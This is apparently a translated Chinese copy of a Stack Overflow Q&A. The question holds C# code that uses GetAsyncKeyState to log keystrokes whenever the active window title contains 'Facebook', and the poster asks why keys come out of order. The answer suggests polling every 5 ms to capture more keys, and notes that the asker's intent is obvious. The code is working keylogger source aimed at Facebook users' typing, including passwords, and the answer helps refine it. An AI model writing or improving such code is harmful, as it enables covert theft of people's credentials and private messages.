c# - GetAsyncKeyState 未按正确顺序捕获键
问题描述
如果活动窗口标题包含“Facebook”,我有下面的代码可以捕获击键,但是,在测试时......我没有得到准确的按键顺序并且一些键被遗漏了......我能做些什么对此进行改进?
例如:如果我输入“ALI”,我会得到“AIL”打印出来
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
解决方案
将初学者的间隔从 1 秒减少到 5 毫秒... Thread.Sleep(5);
即使这样,当你开始快速打字时,击键仍然会被排列和/或丢失,我没有足够的资格解释原因。顺便说一句,你的意图太明显了,这就是为什么没有人愿意回答你的问题。
推荐阅读
- python - 熊猫如何从 df2 获取 df1 的值,而 df1 和 df2 的值在列上重叠
- jquery - 在将屏幕从小屏幕调整到大屏幕时,jQuery数据表宽度错误地改变了
- android - 添加此最新依赖项“com.google.android.material:material”时如何解决问题?
- json - 通过 Azure Datafactory V2 将 Simple Json 导入 Sql 表
- qt - QML ToolButton 背景颜色
- python - 调用python脚本并捕获二进制输出
- sql - CTE 方法避免在先前行集的结果上对表的每一行进行游标更新
- typescript - NuxtJS - Vuex 的 nuxtServerInit() 问题
- java - 我尝试连接外部数据库(mySql 5.7)以在 Liferay 7.0 中填充我的实体。但是有一个例外
- google-cloud-platform - 是否有适用于 https://cloud.google.com/compute/all-pricing 的 GCP 定价计算器 API?